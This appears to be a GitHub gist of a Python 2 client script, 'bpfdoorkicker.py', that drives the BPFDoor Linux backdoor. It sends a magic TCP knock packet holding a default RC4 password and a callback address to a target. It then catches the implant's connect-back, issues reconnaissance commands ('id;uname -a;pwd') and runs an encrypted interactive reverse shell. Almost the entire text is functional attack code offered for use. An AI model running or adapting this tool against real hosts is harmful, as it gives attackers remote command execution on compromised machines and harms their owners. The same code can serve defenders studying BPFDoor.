Skip to content

Instantly share code, notes, and snippets.

@EvergreenCartoons
Created October 19, 2022 17:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EvergreenCartoons/51d7529eeb9191880beb8890cf9b1ace to your computer and use it in GitHub Desktop.
Save EvergreenCartoons/51d7529eeb9191880beb8890cf9b1ace to your computer and use it in GitHub Desktop.
#!/usr/bin/python2
# implements bpfdoor tcp knock and callback handling.
import fcntl
import socket
from threading import Thread
import sys
import time
import struct
from Crypto.Cipher import ARC4
import tty
import pty
import os
import termios
import select
# this is the default in some samples. justrobot is another default key.
PASSWORD = "justforfun"
# rc4_init the reader and writer
drc4 = ARC4.new(PASSWORD)
erc4 = ARC4.new(PASSWORD)
class PTY:
def __init__(self, slave=0, pid=os.getpid()):
# apparently python GC's modules before class instances so, here
# we have some hax to ensure we can restore the terminal state.
self.termios, self.fcntl = termios, fcntl
# open our controlling PTY
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")
# store our old termios settings so we can restore after
# we are finished
self.oldtermios = termios.tcgetattr(self.pty)
# get the current settings se we can modify them
newattr = termios.tcgetattr(self.pty)
# set the terminal to uncanonical mode and turn off
# input echo.
newattr[3] &= ~termios.ICANON & ~termios.ECHO
# don't handle ^C / ^Z / ^\
newattr[6][termios.VINTR] = '\x00'
newattr[6][termios.VQUIT] = '\x00'
newattr[6][termios.VSUSP] = '\x00'
# set our new attributes
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)
# store the old fcntl flags
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# make the PTY non-blocking
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)
def read(self, size=8192):
return self.pty.read(size)
def write(self, data):
# ret = self.pty.write(decrypt(data)) #xxx
ret = self.pty.write(data)
self.pty.flush()
return ret
def fileno(self):
return self.pty.fileno()
def __del__(self):
# restore the terminal settings on deletion
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)
def decrypt( xxx ):
return drc4.decrypt(xxx)
def encrypt(xxx):
return erc4.encrypt(xxx)
def listen(cbport):
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.settimeout( 10 )
try:
sock.bind( ("0.0.0.0", cbport) )
sock.listen( 5 )
except Exception, e:
print str(e)
print "[!] Can't bind !\n"
while True:
try:
(csock, addr) = sock.accept()
fsock = csock.fileno()
except socket.timeout:
continue
if csock.recv(4) == "3458":
print "got magic"
print "send encrypted buffer"
buffer = encrypt("id;uname -a;pwd\n")
csock.send(buffer)
print "get output"
buffer = csock.recv(4096)
print decrypt(buffer)
else:
sys.exit("no crypt")
print "pty"
pty = PTY()
buffers = [ [ csock, [] ], [ pty, [] ] ]
def buffer_index(fd):
for index, buffer in enumerate(buffers):
if buffer[0] == fd:
return index
readable_fds = [ csock, pty ]
# csock.send(encrypt("stty -echo\n"))
data = " "
# keep going until something deds
while data:
# if any of the fd's need to be written to, add them to the
# writable_fds
writable_fds = []
for buffer in buffers:
if buffer[1]:
writable_fds.append(buffer[0])
r, w, x = select.select(readable_fds, writable_fds, [])
# read from the fd's and store their input in the other fd's buffer
for fd in r:
buffer = buffers[buffer_index(fd) ^ 1][1]
if hasattr(fd, "read"):
data = fd.read(8192)
else:
data = fd.recv(8192) # xxx
if data:
buffer.append(data)
# send data from each buffer onto the proper FD
for fd in w:
buffer = buffers[buffer_index(fd)][1]
data = buffer[0]
if hasattr(fd, "write"):
fd.write(decrypt(data)) # encrypt or decrypt ops here break it
else:
fd.send(encrypt(data)) # maybe?
buffer.remove(data)
sys.exit("Shell closed")
def sendpkt(rhost, rport, cbhost, cbport):
print "send packet to %s:%d" %(rhost, rport)
# bla = "52930000a45acd9a04570000000000000000000000000000"
bla = "52930000"
bla += socket.inet_aton(cbhost).encode("hex")
bla += struct.pack(">H", int(cbport)).encode("hex")
bla += PASSWORD.encode("hex")
bla += "0000000000000000000000000000"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.send(bla.decode("hex"))
def main():
if len(sys.argv) != 5:
sys.exit("bpfdoorkicker.py target_host target_port this_host this_port")
rhost = sys.argv[1]
rport = int(sys.argv[2])
cbhost = sys.argv[3]
cbport = int(sys.argv[4])
handlerthr = Thread(target=listen, args=(int(cbport),))
handlerthr.start()
time.sleep(1)
sendpkt(rhost, rport, cbhost, cbport)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment